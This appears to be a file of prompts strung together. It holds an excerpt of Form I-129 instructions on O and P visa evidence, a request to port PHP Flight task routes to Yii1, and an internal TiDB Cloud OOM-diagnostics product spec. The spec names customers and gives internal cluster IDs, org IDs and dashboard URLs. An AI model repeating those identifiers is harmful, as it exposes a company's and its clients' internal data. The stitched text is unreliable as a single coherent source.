the beginning and ending dates for the events or activities, and\na copy of any itinerary for the events and activities; and\nForm I-129 Instructions 11/02/22 Page 18 of 30\n4. Evidence of the beneficiary’s extraordinary ability, such as receipt of major nationally or internationally recognized\nawards or prizes for excellence in the field, documentation of the beneficiary’s membership in associations in the\nfield which require outstanding achievements of their members, published material relating to the beneficiary’s work,\nevidence of the beneficiary’s original scholarly work or, contributions of major significance to the field, evidence of\nthe beneficiary’s high salary within the field, evidence that the beneficiary participated individually on a panel that\njudges the work of others in the field, or evidence of the beneficiary’s prior employment in a critical or essential\ncapacity for organizations and establishments that have a distinguished reputation.\nNOTE: If the preceding forms of evidence do not readily apply to the beneficiary’s field of endeavor, you may submit\nother comparable evidence.\nO-1B Nonimmigrants\nThe O-1B classification is for aliens coming to the United States temporarily who have extraordinary ability in the\narts or extraordinary achievement in the motion picture or television industry.\nWrite O-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group (which could be a person with expertise in the beneficiary’s field), a labor,\nand/or a management organization (see General Evidence). If the petition is based on the beneficiary’s extraordinary\nachievement in the motion picture or television industry, separate consultations are required from the relevant labor\nand management organizations;\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. Evidence that the beneficiary has received or been nominated for significant national or international awards or\nprizes in the field, such as an Academy Award, Emmy, Grammy, or Director’s Guild Award, or at least three of the\nfollowing:\nA. Evidence that the beneficiary has performed and will perform as a lead or starring participant in productions or\nevents that have a distinguished reputation as evidenced by critical reviews, advertisements, publicity releases,\npublications contracts, or endorsements;\nB. Evidence that the beneficiary has achieved national or international recognition for achievements in the field as\nevidenced by critical reviews or other published materials by or about the individual in major newspapers, trade\njournals, magazines, or other publications;\nC. Evidence that the beneficiary has a record of major commercial or critically acclaimed successes, as evidenced\nby title, rating, standing in the field, box office receipts, and other occupational achievements reported in\npublications;\nD. Evidence that the beneficiary has received significant recognition from organizations, critics, government\nagencies, or other recognized experts;\nE. Evidence that the beneficiary commands or will command a high salary or other remuneration for services in\nrelation to others in the field; or\nF. Evidence that the beneficiary has performed and will perform in a lead or starring role for organizations that have\na distinguished reputation.\nNOTE: If you are applying for O-1B in the Arts and the preceding forms of evidence do not readily apply to the\nbeneficiary’s field of endeavor, you may submit other comparable evidence.\nO-2 Nonimmigrants\nThe O-2 classification is for aliens coming to the United States temporarily and solely to assist in the performance\nof an O-1 artist or athlete because he or she performs support services that are integral to the successful\nperformance of the O-1. No test of the U.S. labor market is required. The alien must have critical skills and\nexperience with the O-1 which must not be of a general nature or possessed by U.S. workers.\nWrite O-2 in the classification block.\nForm I-129 Instructions 11/02/22 Page 19 of 30\nThis form must be filed in conjunction with an O-1 petition and filed with:\n1. A written consultation (see General Evidence);\nA. If it is for support of an athlete or an alien with extraordinary ability in the arts, the consultation must be from an\nappropriate labor organization; or\nB. If it is for support of an alien with extraordinary achievement in motion pictures or television, the consultation\nmust be from an appropriate labor organization and management organization.\n2. Evidence of the current essentiality, critical skills, and experience of the O-2 with the O-1 and evidence that the alien\nhas substantial experience performing the critical skills and essential support services for the O-1 alien. In the case\nof a specific motion picture or television production, the evidence must establish that significant production has taken\nplace outside the United States, and will take place inside the United States, and that the continuing participation of\nthe alien is essential to the successful completion of the production.\nP-1A or P-1 Major League Sports\nThe P-1A classification is for aliens coming to the United States temporarily to perform at a specific athletic\ncompetition as an individual or as part of a group or team participating at an internationally recognized level of\nperformance.\nP-1 Major League Sports classification is for an association of teams or clubs that compete chiefly among themselves\nwhich include major league athletes, minor league sports, and any affiliates associated with the major leagues including\nbut not limited to baseball, hockey, soccer, basketball, and football. Support personnel for Major League Sports include\ncoaches, trainers, broadcasters, referees, linesmen, umpires, and interpreters.\nWrite P-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\n2. A copy of the contract with a major U.S. sports league or team or a contract in an individual sport commensurate with\nnational or international recognition in the sport, if such contracts are normally utilized in the sport; and\n3. Evidence of at least two of the following:\nA. Significant participation in a prior season with a major U.S. sports league;\nB. Significant participation in a prior season for a U.S. college or university in intercollegiate competition;\nC. Participation in international competition with a national team;\nD. A written statement from a member of the sports media or a recognized expert in the sport which details how the\nbeneficiary or team is internationally recognized;\nE. A written statement from an official of a major U.S. sports league or official of the governing body for a sport that\ndetails how the beneficiary or team is internationally recognized;\nF. That the beneficiary or team is ranked, if the sport has international rankings; or\nG. That the beneficiary or team has received a significant honor or award in the sport.\nP-1B Entertainer or Entertainment Group\nThe P-1B classification is for aliens coming to the United States temporarily to perform as a member of an\nentertainment group that has been recognized internationally as outstanding in the discipline for a substantial\nperiod of time, and who has had a sustained relationship with the group (ordinarily for at least 1 year).\nWrite P-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\nForm I-129 Instructions 11/02/22 Page 20 of 30\n2. Evidence that the beneficiary or group is internationally recognized in the discipline as demonstrated by the\nsubmission of evidence of the group’s receipt of or nomination for significant international awards or prizes for\noutstanding achievement, or evidence of at least two of the following:\nA. The beneficiary or group has performed, and will perform as a starring or leading group in productions or events\nwith a distinguished reputation;\nB. The beneficiary or group has achieved international recognition and acclaim for outstanding achievement in the\nfield;\nC. The group has performed, and will perform, services as a star or leading group for organizations and\nestablishments that have a distinguished reputation;\nD. The beneficiary or group has a record of major commercial or critically acclaimed success;\nE. The beneficiary or group has received significant recognition for achievements from critics, organizations,\ngovernment agencies, or other recognized experts in the field; or\nF. The beneficiary or group commands a high salary or other substantial remuneration for services compared to other\nsimilarly situated in the field.\n3. Evidence that 75 percent of the members of the group have had a sustained and substantial relationship with the group\nfor at least 1 year. Provide a list of the alien’s functions which are integral to the group’s performance.\nBy filing for a P-1 group, the petitioner certifies that at least 75 percent of the group members have been performing\nregularly together for at least 1 year. The 1-year requirement does not apply to circus groups coming to perform with\nnationally recognized circuses.\nAttach a separate statement to the form to request a waiver of:\n1. The 1-year relationship requirement due to exigent circumstances; or\n2. The international recognition requirement (1) due to emergent circumstances, or (2) because the group has been\nnationally recognized as outstanding in its discipline for a sustained and substantial period of time.' +'check the below code and to get sql and remap functions\nthen apply these functions to \nactionAssignedByMe\nactionAssignedToMe \nthen provide the update code in yii1\nFlight::route(\'GET /erp/all-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "completed",\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "in\\_progress",\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "deferred",\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "not\\_started",\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "waiting\\_for\\_someone",\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n $elem[\'invoice\'] = false; \n if($elem[\'invoice\\_id\'] > 0) {\n // innerjoin with tbl\\_client\n $invoices = $rm->select(\'tbl\\_invoices\', array(\n \'[><]tbl\\_client\' => [\'client\\_id\' => \'client\\_id\']\n ) , array(\n \'tbl\\_invoices.invoices\\_id\',\n \'tbl\\_invoices.due\\_date\',\n \'tbl\\_invoices.reference\\_no\',\n \'tbl\\_invoices.status\',\n \'tbl\\_invoices.invoice\\_date\',\n \'tbl\\_client.sync\\_id\',\n \'tbl\\_client.merchant\\_name\',\n \'tbl\\_client.merchant\\_phone\',\n \'tbl\\_client.expires\\_date\',\n \'tbl\\_client.last\\_login\',\n \'tbl\\_client.client\\_id\',\n \'tbl\\_client.name\',\n ), array(\n \'tbl\\_invoices.invoices\\_id\' => $elem[\'invoice\\_id\']\n ));\n\n $invoices = array\\_map(function ($invoice) use ($rm) {\n $due\\_amount = $rm->sum(\'tbl\\_items\', \'total\\_cost\', array(\n \'invoices\\_id\' => $invoice[\'invoices\\_id\']\n ));\n $invoice[\'due\\_amount\'] = $due\\_amount;\n switch ($invoice[\'status\']) {\n case \'paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'rejected\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'unpaid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'overdue\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'draft\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'partially\\_paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n }\n /\\*$invoice[\'published\'] = $invoice[\'status\'];\n if ($invoice[\'published\'] == 2) {\n $invoice[\'rejected\'] = true;\n }\\*/\n /\\*$invoice[\'items\'] = $rm->select(\'ready\\_invoice\\_items\', \'\\*\', array(\n \'ri\\_invoice\\_id\' => $invoice[\'id\']\n ));\\*/\n return $invoice;\n }, $invoices);\n\n $elem[\'invoice\'] = $invoices[0]; \n } \n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false;\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'All Tasks\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'all-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/assigned-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n\n $where = array(\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n /\\*\'leads\\_id\' => $user\\_id,\n \'created\\_by\' => $user\\_id\\*/\n ]\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false; \n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Asigned to Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'assigned-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/report-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array(\n \'created\\_by\' => $user\\_id\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'created\\_by\' => $user\\_id\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'created\\_by\' => $user\\_id\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'created\\_by\' => $user\\_id\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'created\\_by\' => $user\\_id\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'created\\_by\' => $user\\_id\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Reported by Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'report-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});' +'Background\nWhat is the problem of solving pain points\nWhat products and services to deliver\nWhat are our strengths\nWhat are our core competencies\nSome Difficulties in Troubleshooting TiDB OOM on Cloud\nTiDB OOM problems often occur on Cloud, but it is difficult to locate the SQL that contributes to the OOM behavior.\n OOM on Cloud has several characteristics:\n1. After OOM, only Dev can receive an alarm (2022-11-29, due to some problems with alarm channel, Dev cannot receive this alarm), and Supports cannot receive and check this alarm. Moreover, for a cluster, it is difficult to quickly query the historical OOM situation.\n2. At the OOM moment, all SQLs contribute to memory exceeding the threshold. Therefore, it is necessary to find SQLs with a large main contribution and see if there is any opportunity to optimize it.\n3. TiDB will record the state file when the memory exceeds 80% (TiDB Memory Control). However, on Cloud, OOM will cause pod restart, this file will be lost and cannot be used as diagnostic material.\n4. At the OOM moment, SQLs are running and have not yet ended. Therefore, it is not possible to intuitively understand SQLs at the moment of OOM in slow query, statement and other post-observation methods.\nThe root solution of OOM\nThe OOM problem is a problem of resource management. Instances need to accurately monitor the resources they spend and manage them at the SQL level.\nIf the running queries exceed the preset resource limit, some queries need to be killed. The logic of killing also needs to be considered, whether it is the query that kills the largest resource, the longest executed query, or the shortest executed query. These may have different killing logic demands according to different businesses.\nHowever, this article mainly focuses on SQLs that are found to have a greater impact after OOM occurs. Therefore, more accurate resource management is not discussed here.\nRecent TiDB OOM Issues：\nAll history : NFTScan TiDB OOM Oncall Summary \n关于 TCOC-752 的分析 \nNFTScan 集群 OOM TCOC-752 跟进 \n1118 tidb oom \n1026 TiDB OOM \n1013 - 1014 TiDB OOM \nCC tidb-server OOM 问题 20221011 \n10.10 - TiDB Server OOM \n跨越速运 - SQL导致OOM \n10.15~10.17 - TiDB OOM \n2.26 CC 集群 OOM 分析 \n广发银行OOM问题场景 \nObjective\nFinal Goals\nList product goals including their timeframe, and success metric\nGoal：\n- For TiDB Cloud Cluster\n - Save OOM Files persistently.\n - Clinic can find OOM Event automatically, and provide this event as an alarm to those who subscribe, such as supports or EE.\n - Associate OOM Events with corresponding OOM Files, and support the download of OOM Files.\n - In OOM Insight Detail, present the information you need to know about OOM diagnostics.\n - Provide suggestions and give judgment logic.\nNon-Goal：\n- This document does not discuss the resource management of TiDB instances, and other work will cover this matter in the future.\nMilestone Goals\nM1\n- For TiDB Cloud Cluster\n - Save OOM Files persistently.\n - Clinic can find OOM Event automatically\n - Associate OOM Events with corresponding OOM Files, and support the download of OOM Files.\n - In OOM Insight Detail, present the information you need to know about OOM diagnostics.\nLimitation\n- In the scenarios, it is easier to find a small amount of SQL that takes up a large amount of memory, but it is hard to find a large amount of small Memory SQL.\nTarget user / role\nWho the product is for\nUsers\n- Dev: Responsible for the research of OOM, with the overall knowledge of TiDB OOM.\n- Support: Responsible for the support of customers whose clusters have OOM, and have relevant knowledge of the customer\'s business.\nDefinition\nOOM Files：Status file recorded by TiDB when its memory exceeds 80% (TiDB Memory Control).\nContent\n- Running SQL\n - Top 10 Memory\n - Top 10 Time (After v6.5)\n- Heap + Goroutine\nUser Scenarios / Story\nA detailed list of user scenarios\nSave the OOM Files\n- TiDB -> Persistence Storage on Cluster Level\n- Persistence Storage on Cluster Level --(by Agent)-> S3\n- S3 -> UI\nFind impactful SQLs after an OOM occurs\nMain Process:\n- OOM occurs.\n- Dev and Support receive this alarm.\n- Dev / Support check the Event List, and confirm that OOM occurred.\n- View the details of a specific OOM Event;\n - Confirm related indicators, logs, SQLs, Profilings, configuration/parameters.\n- Find the SQLs with the greatest impact and confirm the configuration/parameters that need to be modified;\n- Apply the suggestion.\nPost process:\n- The effect on memory is continuously monitored.\nFlow Chart\n[Image]\nFeature List\nOOM Event List\nBy Event List [spec] Clinic Event center 。\nOOM Insight Details\n- All Data Range:\n - Time Range: -15min ~ OOM Moment ~ +5min. According to different content needs, the time range will be adjusted.\n - Instance Range: The instance where OOM occurred.\n- Content\n - Insight Information\n - Metrics\n - Uptime Metrics\n - Memory Metrics\n - Query\n - Candidate problematic queries in OOM Files\n - Related expensive queries in Logs\n - Releated statements in TopSQL\n - Releated slow queries\n - Logs\n - KeyWord: k8s Evict information\n - KeyWord: memory usage exceeds alarm ratio\n - Keyword: Out Of Memory Quota\n - Keyword: memory exceeds quota\n - profiling\n - Heap and Goroutine in OOM Files\n - Before OOM occurs, the Heap of the corresponding instance in continuous profiling.\n - Config & variable\n - tidb\\_mem\\_quota\\_query\n - tidb\\_enable\\_rate\\_limit\\_action\n - tidb\\_analyze\\_version\n - tidb\\_mem\\_oom\\_action\n - Go GC 的配置\n - 如果 Go 1.1.9 还有一个 GOMEMLIMIT\n - Download\n - OOM Files and parse tool\nFunctional Specs\nAll the product interface and user-perceivable behavior changes need to be described in detail, including but not limited to:\n1. Any changes to GUI and command line, including command parameters and parameter definition changes;\n2. Any changes to the configuration items or system variables, including changes in value ranges and value semantics;\n3. Any changes to the storage directory and file format of the data;\n4. Any API and network protocol changes, including changes in the format of transmission content;\n5. Any user-visible output format or semantic changes, such as execution plan, diagnostic information, and error information, logs, alarms, etc. that affect user decision-making.\nOOM Event List\n[Image]\nEvent List\n- Show \n - Event Name: TiDB OOM \n - Occur Time\n - Summary: At 2022-11-10 20:40:20, cluster NFTScan-Cluster - instance db-tidb-0.db-tidb-peer.tidb1379661944629574082.svc:4000 has been restarted due to OOM. \nOOM Insight Details\n[Image]\nTop Bar:\n- Instance: display the instance where OOM occurred. (Format tidb-0 is better)\n- Download OOM Files: Click for the OOM files which were generated before the OOM moment.\nInsight Information:\n- A one-sentence description of this Insight.\n- Evidence that this insight occurred.\n - Such as, eviction manager: must evict pod(s) to reclaim memory\n- Related documentation for reading.\n - https://docs.pingcap.com/tidb/dev/configure-memory-usage\n - https://docs.pingcap.com/tidb/dev/troubleshoot-tidb-oom\nMetrics:\n- Time Range：The time range of metrics, -20 min ~ OOM Moment ~ +5 min\n- Instance Memory: https://clinic.pingcap.com/grafana/d/000000013tidbcloudv6\\_1\\_x/tidb-runtime-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=All&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&var-org\\_type=cloud&editPanel=4\n- Memory\nLegend\nPromeQL\nFilter\nprocess\nprocess\\_resident\\_memory\\_bytes{k8s\\_cluster="$k8s\\_cluster",cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\nAll metrics should be filtered by The OOM instance\ngc-threshold\ngo\\_memstats\\_next\\_gc\\_bytes{k8s\\_cluster="$k8s\\_cluster",cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\n\nheap-inuse\ngo\\_memstats\\_heap\\_inuse\\_bytes{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", component="tidb", instance=~"$instance"}\n\n- Node mory: https://grafana.oauth.prod.aws.tidbcloud.com/d/fa49a4706d07a042595b664c87fb33easdfasdfa/nodes-info?var-cluster\\_id=1379661944629574082&var-cluster\\_name=NFTScan-Cluster&var-tenant\\_id=1372813089198981282&var-tenant\\_name=nftscan2022%27s%20Org&orgId=1&from=1669554000000&to=1669561199000&var-pod=db-tidb-0&var-instance=ip-10-250-72-200.ap-southeast-1.compute.internal&editPanel=6\n- Uptime: https://clinic.pingcap.com/grafana/d/000000011tidbcloudv6\\_1\\_x/tidb-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=db-tidb-0&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&refresh=5s&var-org\\_type=cloud&editPanel=184&var-k8s\\_cluster=\n- QPS: https://clinic.pingcap.com/grafana/d/eDbRZpnWatidbcloudv6\\_1\\_x/performance-overview-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=All&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&var-org\\_type=cloud&editPanel=179\n- Connection count\nLegend\nPromeQL\nFilter\n{{instance}}\ntidb\\_server\\_connections{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\nNo filter\n- cps by instance\nLegend\nPromeQL\nFilter\n{{instance}} {{type}} {{result}}\nrate(tidb\\_server\\_query\\_total{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}[2m])\nNo filter\n\nRelated SQLs\n- Running SQLs from OOM Files: \n - Displays the creation time of the file.\n - Display the content of an OOM File which is nearest to OOM Moment\n - Tips: Only the data in one OOM file which is closest to OOM moment is displayed. If you need more, please download all the data.\n - Top 10 Mem: show all data. \n - If the data is less than 10 lines, the last line will prompt No More.\n - Top 10 Time: \n - There is no such content before 6.5. The UI needs to judge the version. If version < 6.5, UI prompt Only displayed after v6.5.\n - If the data is less than 10 lines, the last line will prompt No More.\n - Download OOM Files: Click for the OOM files which were generated before the OOM moment.\n- Expensive SQLs form Logs\n - The 10 Closest Expensive SQLs: \n - Tips: statements whose execution time exceeds tidb\\_expensive\\_query\\_time\\_threshold (60 seconds by default) or memory usage exceeds tidb\\_mem\\_quota\\_query (1 GB by default).\n - Show 10 Expensive SQL before OOM moment.\n - Record Time in reverse order.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (expensive\\_query) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `expensive\\_query` |= `WARN`\n- From TopSQL\n - Link: click to enter TopSQL on O11Y.\n - TopSQL on O11Y needs to show the related instance, related time range (-15 min ~ OOM Moment ~ +5 min) automatically.\n - This means that TopSQL\'s URL needs to be able to log instances and time periods.\n- From Slow Query\n - Link: click to enter Slow Queries on 